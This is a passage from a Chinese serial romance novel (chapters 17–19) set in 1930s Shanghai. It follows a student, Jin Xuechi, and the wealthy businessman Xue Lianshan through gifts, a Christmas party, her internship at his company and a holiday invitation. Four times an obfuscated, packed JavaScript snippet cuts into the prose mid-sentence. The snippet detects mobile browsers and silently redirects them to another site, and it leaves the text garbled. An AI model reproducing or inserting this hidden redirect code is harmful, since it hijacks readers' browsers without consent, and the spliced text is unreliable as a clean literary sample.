他其实还没搞清楚此人和金雪池之间的关系,但可以看出此人在阅历、财富、社会地位上都远超自己一个学生,同位男性,他本能地就有点敌意。何况他喜欢的女孩子还在这里。倘若薛莲山有意让他下不了台,他都不知道怎么再面对金雪池。 出乎意料的,薛莲山并没有提及自己的任何事情,只是问他多大、在哪里读书,末了,很钦佩地说:“那么,你以后就是李大夫了。我得提前塞你一张名片,现在不抢占先机,日后在仁济都挂不到你的号。” “不敢,不敢。我学期长着呢。” “我听说过,本科就要六年,是不是?想深造还要继续读,正式上岗前还要临床实践。”他握着方向盘,叹道,“感谢你们愿意为高尚的事业付出这么多青春。” 李伯惠涨红了脸,只一个劲儿地说“没有没有”。 开到一家西餐厅,薛莲山接过菜单,往两人中间一摆,俨然一副自己是大人、这两人是小朋友的态度。他也确实是大人。在两人研究菜单的时候,他出去了一趟,回来时拿了两个小盒子。 明天是圣诞节,所以礼物今天就要送到。他把其中一个打开、推到金雪池面前,“很便宜,所以不要再拒绝了。” 里面装着个翡翠镯子,种水确实不高级,但胜在色泽优美,以糯白为底,半边泛绿、半边泛紫。她是第一回收到首饰,精美的、小巧的一个,不显眼,适合日常在学校里戴。他就算没花多少钞票,也花了心思。 李伯惠现在悟出点内容来了,金雪池去摸手镯的时候,也感觉到李伯惠恐怕悟出点内容来了,两人的视线在空中迅速相交,又立刻撇开。她想,他以后再不搭理我了也好。但我被人包养的名声是不是要坐实了?唉,其实本来就是被人包养,可我毕竟还是...... “伯惠,来之前我并没有想到会结识你,故而没有准备。不过我刚才在后备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021038|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱找到了一支笔,不知道是谁送我的,一直没拆封。” 李伯惠一听自己也有份,那点内容按下不提,首先就惶惑了,“我怎么好意思收你的东西?不必了。” “堆在我那里也没用,是个好玩嘛。”他笑着一摆手,“早上我还给侄子侄女寄了东西,现在年轻人就是流行互相送。好了,菜选好了吗?” 这话说完,他陡然比两人高了一个辈分,其实他也就刚刚三十岁。 李伯惠又有点拿不准主意了,何况这位薛先生叫金雪池叫的是“妹妹”,兴许两人不是那种关系......他默默把打了缎带的细长纸盒扒过来,上面印着一串英文:Montblanc。什么牌子?他不认识。接受了薛莲山的好,他更想敌视他;又因为接受了薛莲山的好,他的敌视在自己的道德观里都不成立。 吃完饭,薛莲山先把李伯惠送回复旦,省得他自己一趟趟换乘电车。车内只剩他们两个了,金雪池把镯子对着光看,评价道:“我不觉得能便宜到哪里去。” “收着吧,每次让你收点东西我费多少口舌呀。”他悠悠道,“不合适的礼物我不会送,譬如说,我从不送人戒指。” 她下意识就打了个寒颤,没来得及细想,他又低下头,凑到离她很近的位置说:“这种半绿半紫的翡翠有个专门的名字,‘春带彩’。” “有什么由来吗?” “我也问过我朋友,他是缅甸一座玉矿的老板,你这镯子就是他给我弄的。他说,因为云南和缅甸有许多香椿树,春天的时候,树的嫩芽绿中泛紫红,当地的玉石商家就把这种颜色叫‘椿色’。” 金雪池听他讲遥远的东南亚故事,转动着挂在手腕上沉甸甸的镯子,心神恍惚,觉得和他在一起过的生活和没有他时简直是两种生活。 “快要期末考了吧?” “是的。” “寒假要不要来我家住?” “不了吧。之前是避难,现在像什么话?” “有现成的房间,你不住也是空着。我只是想你手上的钱大概不多了,没必要多花租金和水电费。” “我可以赚一点。”她主动扒着座椅靠背,问,“关于我打寒假工的事,你想好了没有?” 薛莲山噗嗤一声笑出来,“说来说去,还是要从我身上赚。” “我——唉,薛先生,你要是愿意对我好,比起平白地送我东西,我更希望你可以教我做点事。我自己做什么都做不成。也许因为好逸恶劳、三心二意,都是从小养成的毛病,已经在改了。我瞧你什么事情都做得好。” 薛莲山有一会儿没说话,看似思考,实则暗喜。金雪池对他,一直是挤牙膏似的回答问题,甚少主动提要求,这还是第一次;要求也不是随随便便的要求,触及到了她目前最大的困境,是敞开心扉对他说话了。 “我的建议是,什么阶段做什么事。廉价的工种到处都是,读书的年纪一去不回,没有必要。何况你从前是小姐,不擅长在社会上做事完全情有可原,以后工作了、结婚了,依然有太太的生活可以过,干嘛中途自找苦吃?”他微微笑道,“其实你是不想花的我的钱。” 金雪池默默地把镯子撸了下来。 “谁都有青黄不接的时候,我愿意托举你一把。”他慢慢把车停在了路边,左手向后找,试图触碰她搭在右侧椅背上的那只手,“金小姐,人与人之间缘分淡薄,我不想只跟你相识一场,我还想当你的贵人。给我这个机会吧。” 她没有躲,他找了几秒钟的位置,轻轻握住了。 17.许豫生 薛莲山心里油然腾起一股美好的情绪,美好,太美好了,还是要和小女孩在一起才好玩。他回头去看,金雪池睁着一双黑漆漆的眼睛望着他,是两潭雪水,其中潋滟有光。不信你不动心。他把手挪到她脸颊上,像托脆弱之物那样,倾身吻了一下她的额头。 金雪池发出了一个不明意义的短小音节,往后一靠,不住地拨弄刘海,像刚才有个蟑螂擦着飞过去似的。他也靠回去,“我到时候给你提供一个岗位,期末好好考。” “薛先生。” “嗯?” “我很早之前就当你是贵人了。” 女朋友换得勤就是有这个好处,他不必体会两性关系后期的平淡、控制、争吵、相看两厌,只用一遍遍体验恋爱最美好的时候,譬如只养含苞待放的花,只吃冰淇淋的前几口,衣服穿坏了不必缝补,再买一件就好。怨无大小,生於所爱,物无美恶,过则为灾。 薛莲山自认为是个通透人,愉悦极了,吹着口哨,一路把车开得飞快。 到了圣诞节当天——公司当然是不放假的,别说圣诞节不是中国人的法定假期了,就连法定假期他都恨不得押着所有员工上班——但晚上有个聚会。他提前办完公,下班后直接去了资源委员会一位副部长的家里。 说来好笑,这么多年来,一直是薛莲山去蹭别人的宴会。其实以他的人缘完全能在自己家办宴会,一呼百应,来人多到站不下。可是办宴会需要组织人,要么像邵家,有帮会里的人可以用;要么像社会名流,由太太来主持。他既没有太太,也不能把秘书龚小姐从公司使唤到家里来管事,家里除了厨子就是宋妈,只好去蹭别人的。 刚进大门,石墙边站着抽烟的两人就逮住他,兴师问罪起来了:“哟,薛老弟!上次老付过生辰请你,你也不来,许副部请你你倒来了。看来,还是老付脸面不够大。” 其中一人叫付宗方,是个矮胖的中年男人,唇上留了一线平细的胡子,是一家报社的社长——其实他不以这个出名,以怕老婆出名。另一人叫陶碧旻,苍白扁平的面孔,是复旦大学的大学教授。 这两位都是文化人。薛莲山年纪小的时候就爱结交文化人,后来发现他们的谈吐并不怎么高明,大失所望。不过文化人还是有一点好,他胡说八道起来,他们愿意被他牵着鼻子走,不管认不认同,最重要的是证明自己有见识。薛莲山于是觉得非常好玩,他向来以别人的情绪为乐。 这会儿,他便摘帽一笑,“生辰宴,那是要送礼金的,我自己从来不办生辰宴,总去给别人送不是吃亏了?” “好哇!”两人一齐笑起来,“你手上拎着什么?每次去别人家,你不也随礼了?” “就两盒烟。我要是把这点东西带到付社长家里去,他同不同意倒是其次,付太太首先不能同意。”薛莲山朝他们挥了挥手,快步进室内避风,还是不可避免地咳起来。他拿起面前的一杯热茶压了几口,环视四周,男男女女举着酒杯轻笑着交谈,没有看到许豫生的影子。 忽然,一双手猛地搭在他肩上,震得杯中水溅出来不少。他把杯子搁回去,掏出手帕闲闲地擦裤子。邵子骏嬉皮笑脸地问:“没带你那小妹妹?” “小妹妹快考试了。你哥哥呢?” 邵子骏哼一声,“在老头子病床前呗!妈的就在那儿摇尾巴,也是看着老头子快死了。” “你好歹是你哥养大的。” “他还不如你像我哥。” 薛莲山笑了,“你也就是找我玩。他不在邵老爷子面前卖力气,看你小时候吃什么穿什么。” “得了吧,现在我大了,他又生了个儿子,那还不得防着我抢他儿子的?我们关系紧张得很。”邵子骏拉了张凳子在他旁边坐下,伸手抓了一把瓜子,“你知道他最近干什么?那个日本公使,姓斋藤,他老婆丢了个戒指,巡捕房没给他找出来。他又不能去催英国人,就找上我们了。我们都敷衍,就邵子驹真的满大街给日本人的老婆找戒指,当着路人的面,把井盖子一个个掀起来找!真丢脸,给外人当儿子他是第一名。” 薛莲山刚还劝他尊重他哥,这会儿想到一个玩笑,忍不住讲给他听:“他应该改名叫邵奉先。” 邵子骏露出大牙乐了半天,又问:“你怎么有兴趣来许公馆?今天他们家大公子订婚,早上办过仪式了,晚上再请吃一场饭。这种事情真是无聊,要不是邵子驹脱不开身,我铁定不会来的。你没看到许大公子,长得像头黑牛。” “女方呢?” “也不好看。哦,许大公子倒不能说是不好看,但就太像牛了。” 薛莲山无意瞻仰许家大公子及其未婚妻的尊容,他是来找许豫生谈生意的。听到邵子驹的事情后,愈发知道自己来得没错。“日本人也来找过我,想入股。” “啊,你没同意吧?名声很不好的。” “那自然不会。” “我想也是。”邵子骏笑道,“你这人最好面子!之前常州的矿上闹罢工,我说我能去帮你镇住,你非要捐钱给他们修条路,非要获得个美名。去年又给政府捐煤说支持国防建设,《实业公报》夸你是民族企业家,搞得同行不得不跟着捐......” 薛莲山笑眯眯地一摆手,“不仅仅是我要臭美,那‘民族企业家’的头衔还是很有用的。我今天来找许先生,是因为我申请加入一个‘国家重点开发项目’......你知道是什么吗?总之如果成功了,可以获得低息贷款和进口设备关税减免。他们资源委员会在负责此事。” “生意上的事,我不懂。反正你肯定能成功。” “借你吉言。”他站起来,拍了拍邵子骏,“有时间来我家玩,许先生出来了,我找他去。” 许豫生,和他的大儿子一样,壮得像头牛,且有一种牛一般沉着、刚毅的神色。听完来意,他缓缓道:“煤矿处并非许某的一言堂,申请结果要等专家测评。” 薛莲山不禁诧异,他不过想探探口风,这许豫生怎么上来就是一套天下为公的乱拳。两人又聊了几句,发现互不对付,薛莲山也懒得奉承他本人或者他儿子的姻缘,冷淡地散了。 几周后,他收到申请成功的消息。 正高兴着,王院长又给他打电话,说自己把金雪池微分方程的试卷第一个抽出来改,考了94分。此人在薛莲山刚提出请求时满不情愿,强调了很多遍是“看在你的面子上”;现在完全忘了这一茬,声称密斯金是他的爱徒。 挂了电话,他莫名很高兴,像是自己被夸了一样,拿上车钥匙就去了学校。 金雪池也不找个公用电话要他来接,自己清好行李箱,哼哧哼哧地搬回了出租屋。他扑了个空,先去买了几分小菜,再辗转到石库门门口。 门开了一道缝,探出一个小脑袋,因为刚劳动过,在寒冷的空气中冒着白气,“薛先生,你先别进来,好多灰。” “你在掸灰?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032236|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呃,我扫了地,但还是好多灰。” 薛莲山看她吸了一下鼻子,忍不住微笑起来,“没关系,现在把门和窗户都打开,通通风。” 他随着她进去,扑面而来的就是一股尘灰味儿,喉咙立刻开始作痒,只能用力咽口水压住。她大概是用力扫的,把地上的灰全扫到空气中了。 “拖把在哪里?” “有个公用的,在楼下盥洗池旁边。你不必动,坐着就好。” 他干坐在这里,要被她呛死的。 他下去洗了拖把、拧成半干,她擦桌子,他就帮她把地拖了一遍。收拾好后,把搁在桌上的木盒打开,将碗一个个端出来,“我来的路上想到你也许没吃饭。”同时也看到了玻璃下压着的几张纸:一张是从购物盒上剪下来的女郎画报,一张对数表,一张记满了公式,一张写着“前程似锦”,他的字迹。 他将一只碗盖在“前程似锦”上方,只觉得比金雪池亲他一口还要受用。 那边,金雪池从行李箱前站起身,低血糖了,凭感觉摇摇晃晃到床边坐下——因为只有一个凳子。视线逐渐恢复的时候,她才意识到自己的双眼正对着他,那张脸慢慢从黑暗中显现出来,简直像梦一样。她赶忙低下头,心上又蓦地一跳,发现他的字正好被碗挡住了,也不知道他看没看到。 薛莲山说:“你先休息两天,十三号我来接你上班。” “不用了,我坐车去。” “好吧,可是你自己拒绝的,迟到了要扣工资。” “我有一个小问题,”金雪池说,“当老板也要点卯吗?” “不用。但如果为了接你的话,我能每天准时到。” 金雪池默然不语,用筷子拨弄粒粒分明的米饭。薛莲山于是笑了出来,“逗你的,其实我就是每天准时到。” 直到他走了,金雪池脸上的热意仍未消下去。掀开玻璃板,她把小字条抽出来,还是夹回英文词典里。 正式上班的前一天晚上,她早早睡了,生怕第二天睡过头。第二天果然起了个大早,又怕提前太多到公司门口会招他的笑话,就在路边摊吃了点东西,心里计算着时间。乘车到公司门口的时候,刚好八点五十五。 龚小姐在前台等候已久,笑容满面地把她引进财务处的办公室,介绍了工作内容:作为助理,做一些简单的预算工作,譬如基于历史数据估算后续投入等等。 “李部长会指导你进行工作,有什么不理解的问他就行。”她一指对面办公桌的男人,又将一个信封放到桌上,“本月的工资提前预支给你,以备生活需要。” 金雪池道了谢,一颗心像羽毛似的,来一阵风就飘起来了。她原以为薛莲山会给她安排类似秘书的工作,每天就端茶送水,围着他转,全天候都能在密闭空间里亲密接触——其实让头一次出来实习的大学生端茶送水也无可指摘。但他没有。这份工作虽基础,但不是简单的重复劳动,避免了无聊;还和她的专业对口,给了她实践机会。 他对她用了心。他对她的每一份帮助都不是自我感动式帮助,愿意从自己衣食无忧的位置上俯下身来,观察一个女学生的困苦;她不好意思接受,他就尽量少给一点,但给到至关重要的地方。 金雪池倒也没误以为他格外爱自己,他就是那种只讲功劳、不讲苦劳的人,做任何事都不敷衍。为什么人家年纪轻轻当老板呢。 在爱慕他之余,她还想成为他那样的人。 18.徐州 这天龚小姐来看了她三次,看她工作上有没有困难、适不适应。晚上薛莲山又来看她一次,要送她回家。她还是拒绝了,独自走到车站,排队上车时忽然觉得前面的一个人有点眼熟。再定睛一看,是周馥。她穿深蓝色的夹袄,挎一个装得鼓囊囊的布袋,头发稍微长长了些,垂在肩上,也没有剪。 金雪池立刻把领口立起来挡住脸,同时低下头。然而周馥在第一排坐下了,一转身,两人面面相觑。她只好坐在周馥身边,沉默地给了售票员三分钱,售票员发票的时候直接递给靠外的周馥,由周馥递给她。窗外的苏兴公司灯火通明,这女人的脸背着光,看不清楚表情,只看得出很白;在冬夜里,有种荧荧的美。 “谢谢。”金雪池拼命克制住跳窗而逃的冲动,“我是去上班的,就是,以前的工作没有干了,然后薛先生正好缺人......” “我没有问呀。”周馥很无奈地笑了一笑,“在上学吗?” 金雪池虽感觉她就是想问,但也感觉到她的好意了,“在,刚刚放寒假。” “那就可以了。” 这句话后,她顿了顿,又道:“金小姐,你比我聪明,现在还能打工、挤电车。我家境普通,刚跟他好的时候,觉得来钱简直太轻松容易了,打字的工作也辞掉了,只享受奢侈的生活。这几个月我又做回了打字员,但心浮气躁,坐不住、耐不住心,还老出错;托媒人介绍对象呢,明明条件和我差不多,我却总觉得自己吃了天大的亏,见人家一面,难受好几周。我完全没法回到从前的生活状态中......” 她说着说着,忽然带了哭腔。金雪池简直如坐针毡,接话也不是,安慰也不是,刚把自己的手帕抽出来,发现上面有一块墨渍,又悄悄地塞回去了。好在周馥自己掏出手帕擦了擦眼睛,又说:“不过,你过去也是当小姐的,见过世面。” “也没有,我父亲管小孩子很严,怕学坏了。我来上海才真正见到世面的。” “但是你看起来没有受到金钱的诱惑,很淡泊。那么他这个人呢?你不要爱上他。” 后排的一对老夫妻伸着脖子听她们谈话,金雪池默认“爱不爱他”这种思绪只可以存在于脑海中,对别人讲是不合适的,特别是她俩根本不熟。她尴尬得要昏倒了,“我......我再请你吃顿饭吧?你吃晚饭了吗?” 幸亏周馥比孙婕霓好脾气得多,没有计较她的顾左右而言他,欣然同意了。 她们在天潼路下车,找了一家小饭馆,一边吃,周馥就一边讲薛莲山这薛莲山那,说着埋怨他的话,但话里话外根本就是忘不了他。她完全忘了刚开始辩驳的“我没有问”,开始问:“他现在怎么样呢?” “呃,挺好的。” “他除了公司的东西不乱放,生活上的东西总乱放。你要知道,他的火机——” “周小姐,”金雪池说,“我并没有当他的女朋友。” 周馥哑然片刻,两颗泪珠毫无预兆地顺着脸颊滚落下来。她搁了筷子,捂住脸喃喃道:“对不起,对不起,我实在是......我疯了......”不等金雪池做出任何反应,她提起布包疾走出去。 金雪池立刻向窗外望,然而室内的灯光强烈,在玻璃窗上,她陡然和自己的倒影对视上了——年轻的、惶然的,因为他不在场,她的情绪不加掩饰,把自己都给吓了一跳;将鼻子贴在窗上,光辉灿烂逐渐隐去,苍茫夜色浮现出来,周馥在这无边际的黑暗中歪歪倒倒地独行,像踩着水面的浮木。 顷刻间,她若有所悟,并因震恐而头重脚轻,跟着栽进夜里。 金雪池猛地站起身,甩甩脑袋,叫来服务生结账。这也是我的结局,她一边往家里走,一边想着:这也是我的结局。 如此一来,又不可避免地想到金文彬。倘若老豆在的话,我哪能沦落至此。老豆是她在世上最爱的人了,但他当父亲是一个样,做男人又是另一个样,搞不好还不如薛莲山......金雪池一想到金文彬的德行,居然原谅了几分薛莲山的德行。 我的天哪,她想,老豆,你看你这样不检点,简直是把我往火坑里推。我打小就默许男人这样了。 当晚金雪池做了个梦,她坐在三楼的床上,盯着锁孔看,皮鞋踩木梯的嘎吱声步步逼近。不要怕,老豆是你的守护神,所以进来的只会是——金文彬。门一打开,金雪池霍然站起来,心里隐隐约约知道自己本该见不到他的,又激动、又恐惧,一下就流了满脸的泪。 金文彬慢慢走过来,满面笑容,张开双臂。她猛地扑进他怀里,金文彬啧了一声,大力拍了拍她的背,拍得嗵嗵响。 金雪池的话语被他拍得碎成一截截,“老豆,老豆,我,我真的是,好,想你啊!我怎么办?我怎么办?” 他结实的身体在她的怀抱中越来越轻、越来越小,世界分崩离析,三楼摇晃起来,砖石沙尘哗啦啦往下掉;楼下的尖叫和枪械声混乱一片。金雪池踉踉跄跄往前几步,双臂一搂,然而金文彬是彻底地消失了。她自己站也站不稳,只听到嘈杂中极为精确、冷冽的一声,回头一看,一枚骰子滚落在地。 在看清点数前,她极迅速地想:你会看着我吗?会双数,不会单数。 六。 妹妹,我与你同在。 三楼的地板彻底裂开,她坠了下去,也同时从梦中醒来。天还是黑的。金雪池没有拉灯,只觉得心肺一阵一阵抽着疼,亲人的离世不是一场暴雨,而是一生的潮湿。 整整两周,她都没从湿冷中缓过神来,时不时就有眼泪涌出来——当然,她和周馥还是有不同的,她绝不当着人。 临近年关的时候,公司财务部因为要出年报,忙得不可开交。全部整理好后,李部长把厚厚一沓文件交给她,有意让她去领这个功劳,“金小姐,装订好送到董事长办公室去。” 金雪池应了一声,因为文件太厚,不得不站起来用掌根压着订书机按下去。跑到办公室门口敲了敲门,里面的人说:“进。” 薛莲山正在翻一份政府公文,手里拿着一支雪茄,整间办公室都弥漫着细而绵绵的燃烧木、矿物和泥土的清苦味。他抬头见了是她,笑容似春风般飞到脸上了,“来看我呀?” “给你送报告。” 他接过报告,立刻被钉子扎了一下——太厚了,订书钉直直地贯穿过去,没有余地再打弯。他的笑容松动了一下,很快挂住了,“下回订这么厚的文件时,要么分开订,要么在背面的钉子上贴胶布。” “噢,”她恍然道,“不好意思,那我去找块胶布......” 她抽出文件往外走,就看到空荡荡的墙上唯一悬挂的东西是自己写了“大展宏图”四字的草稿纸,甚至还装裱起来,小小的一方,简直不伦不类。金雪池心里一惊,逃避似地原地转了个身,又是仰靠在椅背上、注视着她的薛莲山。天罗地网。 他招了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036660|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招手,“拿过来吧,我自己贴。后天就放假了,过年来我家玩,好不好?” “你不回老家?” “我不......咦,我什么时候说过有老家?”他笑道,“就不能是我大哥搬到别处去住了?” “不过你确实是有的吧。” “侦探小姐,关于我,你还猜到了多少?” 金雪池沉默几秒,“我说了,你不会生气吗?” 薛莲山听她这个语气,预感到不妙,可是箭在弦上,他总不能跟小妹妹说“那算了你别说了”,于是只是做了个“请”的手势。结果金雪池刚开了个头,他就受不了了,“你要么是抱养的,要么是外室所出......” 薛莲山立刻大声咳起来,她陡然闭了嘴,瞪着他。 “这是——这是怎么得出来的?” “因为家里如果有两个地位相等的男孩,其中一个叫‘兆荣’,另一个要么叫‘兆祥’‘显荣’之类的。没有字辈,大概也会有其他大气、吉利的名字,譬如‘仕达’‘诚健’。万万不会叫莲山。所以令堂可能没过门,你可能也没上族谱。”她又补充说,“当然,现在应该上了。” 薛莲山说:“我确实是外室所出。” “在这个基础上,薛大哥那句‘公司是爸爸的’就可以推翻了,真是令尊的,轮不到你手里。但是薛大哥虽然落魄,却颇有几分老太爷的派头,合理推测你们家原来有些薄底,真正做大做强还是靠你。公司注册地点在上海,应该是你一手创立、使其合法合规的。” 这句话还算动听,然而金雪池话锋一转,又道:“你来上海之后一直说国语,刻意掩盖——” “停,停,”薛莲山打断她,“我有说过我是上海人吗?” “呃,没有,但是你好像就是那个意思......” “乡下人假扮上海人的意思?” 金雪池缩起脖子,“我没说你是乡下人。” 薛莲山简直给她气笑了,“那你这一点没猜准,我是货真价实的乡下人。” “哦......你哪里的?” “说了你也不知道。” “你说说嘛。” “徐州的。” “那我确实不知道。” “你还读过书呢,自古兵家必争之地,怎么不知道?刘邦、项羽、刘备、朱元璋都是从徐州出来的。” “中学历史是选修课,讲得很浅显——” 薛莲山把那沓资料重新搡到她怀里,一指门口,“去贴胶布。” 她走了以后,他站起来绕着办公桌走了两圈,越想越觉得不可思议:她平日里闷声不响,却把他研究透了。或许她现在傻乎乎的只是为了好玩,但这是一种狩猎行为,像蛰伏在暗处的猫,观察、分析、伺机而动,换个同等身份的人说这些话,他会觉得此人的存在对自己是一种威胁。 已经很少有人知道他的历史了,很多年没听见别人喊他“苏北佬”,连上海都要忘记他不属于这里,金雪池居然能挖出来。 她有病吧?薛莲山莫名烦躁起来,她怎么一点也不显露在脸上?那我的殷勤在她看来是什么?她要是把我研究得透透的,看穿我的一切伎俩、把戏,岂不是一直在冷眼笑我?她表面上还装得像个青涩女学生!我这么久以来的努力...... 不行。他拿定主意,这个金雪池已经花费我太多时间心力,想让我知难而退,我是不甘心的。 19.同居 隔天,也就是放假前的最后一天,薛莲山去她的办公室找她。她正伏在桌上写东西,一听到此起彼伏的“薛董好”,立刻拿一张大图纸盖上。 薛莲山朝员工们笑了笑,直走到她的工位前,用指关节敲了敲桌子,“好哇,上班时间开小差。” 金雪池解释说:“李部长说下班前我把图画好就可以,我马上就画好了。” “做事是做给人看的。以后你正式上班就知道了,高效率可能不会被领导看到,但开小差被看到一次,领导饶不了你。” “哦,”金雪池点点头,“那你知道你的公司管理有什么需要改进之处了吧?” 薛莲山笑道:“你现在是实习,以后去别的地方正式工作了,会需要这样的小诀窍。我不是这样的领导,再说了,就算是,也不敢把你怎么样。” 她不接话,掏出三角板继续画图。还有这么多人在,他就这么跟她说话,她的名声怎么办?唉,不过这些同事大概早就默认她是情妇了。罢了罢了。他又问:“刚才在写什么?告诉我,就不扣你钱了。” “没什么。” 下班前他又来一趟,说要送她回家。金雪池不搭理他,把铝制水杯和纸笔一股脑地塞进帆布包里,挎上就走;他几步跟上,忽然伸手揽住了她的腰,不由分说地就把她往自己车上拐。 她“哎”了几声,也没哎出个所以然来,在他的臂弯里缩得很小,不敢动弹,最终上了他的车。坐在后排,她念念道:“刚才我在给我爸写信。” “写信?你往哪儿寄?” “我烧给他。” 薛莲山没有立刻反驳,只是摸索着系安全带,金雪池等了两秒,说:“你知道他死了。” “不。”他最终说,“妹妹,这个习惯不好。如果是我的话,在得到确凿的证据之前,不会下定论。特别是关于自己的事。” “为什么?” “心理暗示的作用不亚于言出法随。” “哦,你这么想。去年一个奥国的物理学家提出这样一个概念:将猫和一些放射性物质装进一个密封的盒子里,放射性物质一旦发生衰变,猫就会被毒死,反之猫能存活。谁也不知道这物质到底衰不衰变,只有打开盒子的时候才会知道猫的生死。”金雪池说到这里,往前凑了凑,“你理解吗?” “我可以理解你说的实验。不过,折腾猫干什么?” “他是要反对哥本哈——呃,爱因斯坦你知道吧?” “那个被德国悬赏的犹太人?” “对,就是他,他认为微观世界是确定的。另一拨反对者却认为微观世界不确定,在观测之前,没有定数。这个叫薛定谔的奥国人为了声援爱因斯坦,就举出这样一个例子,他说猫不可能出于生死叠加的状态,它要么生、要么死,只是人们看不见。” 薛莲山微微笑道:“如此说来,你还和爱因斯坦站在一边呢。我倒是那个反对者,觉得提前下定论,就类似于‘提前观测’,破坏了金先生生存的可能性,是么?” “我没有说爱因斯坦对呀。” “他难道是错的?” “不知道,两拨人正打得不可开交呢。” “那你忽然说这个——” 金雪池笑起来,“我就是想到了。好,我现在对你又有个新的猜想,你从来不去算命,对不对?怕提前观测命运,会破坏大好人生的可能性。” “民间是有这个说法,命会越算越薄。”他回头,做出叹气的样子,“不过我不算,是因为以前也没人想知道外室的孩子命运如何;来了上海呢,为了装成一个摩登、讲科学的上海人,也不好再搞封建迷信。” “你说了不生气的......” “我没生气呀。” “薛先生,我说的时候太直白了,我不会说话,可我是一点主观评判都不带的,纯粹当作推理游戏。我也不对别人这么说,我是......”她往回靠了靠,仍然在黑暗中情不自禁地笑着,被带着寒气的香水味萦绕,如同瀑雨淋身。此时是一个灵魂对另一个灵魂的凝视,而这种凝视必先穿透□□,让她的嗅觉、体感都因这种宏大、冰冷的穿透而微微战栗着,“我是觉得你很包容,你不会真生我的气,你知道我没有恶意。” 薛莲山慢慢地说:“还以为在你心里,我只有花言巧语。” “花言巧语不是谁都会说。” 薛莲山笑道:“我也不是对谁都说。” 这句也是花言巧语。金雪池悠悠道:“开车吧!” 薛莲山把车开出公司大门口,望向前方,又说:“其实我不太清楚微观世界是什么,是细菌吗?” “比细菌还要微观很多很多。” “我完全不了解,想必和我们现在切身体会的世界差很多。那些人争论的不是宏观的东西,在宏观世界里,据我所知,猫在没吃没喝的情况下会撕破箱子逃走。”他低声说,“妹妹,我向你保证,我一直在关注这件事。金先生无论如何都会希望你抱着积极的心态好好生活的。快过年了,你想回家,所以最近不开心,是不是?” 金雪池被他说得眼泪都要出来了,太喜欢他的说话方式。兴许因为他比她大十岁吧。他要是和她一样大,同龄的男孩总幼稚于女孩,她不会爱上他;他要是比她大二十岁,虽然大概率也是风度翩翩而形象良好的,但她会一开始就把他当叔叔看待,不作他想。偏偏他只比她大十岁,仰慕和亲密可以泾渭不分。 她低声、温驯地回答道:“是。” 他自然地提出让她来薛公馆过年,她自然答应了。就住几天,没关系的。 农历二十九的早上他来接她,居然显现出了兴高采烈的样子,大声道:“去我家见一个新朋友!” 金雪池吓一跳,还以为他又把其他女人搞到家里去了。到达薛公馆后,薛莲山照例扶她下车,这回却没在她站稳后把手松开,直接牵上了,一路牵到汽车房最右一间,示意她把一层防雨布揭下来。她往前走了两步,被他的手臂牵扯住了,回头看他;他似乎是才意识到两人一直牵着,诧异地笑了笑,松开手。 揭下防雨布,她心里踏实了——是一辆新车。 “布加迪Type 57SC系列,刚刚才出,我立刻就在欧洲订了货,售价加上关税差不多......能在上海买四百套公寓房吧。”他爱惜地摸了摸引擎盖,简直比摸女人的脸还要柔情似水,“你摸摸,车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040717|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身是用航空金属做的,时速据说能达到124英里!等哪天我开到郊外去试一试,市区内开它,简直是大炮轰蚊子、老虎抓老鼠。哎,你觉不觉得它从侧面看上去像只匍匐的老虎?” 金雪池觉得像只扁嘴鸭,引擎盖子实在太长了,只能含糊地应了一声。 薛莲山完全沉浸在跑车的艺术中,高谈阔论了快十分钟,忽然提出现在就去郊外。一去一回需要大半天,中饭还没吃,金雪池不知道要饿到什么时候,但在别人家,她也不好意思说我要吃饭。好在宋妈从阳台上探头出来,喊道:“薛先生,饭也不吃?” 薛莲山这才一拍脑袋,找回了自己的体贴,先带她进屋吃饭。他原计划下午出去,结果一个电话打来,他又临时往公司跑。 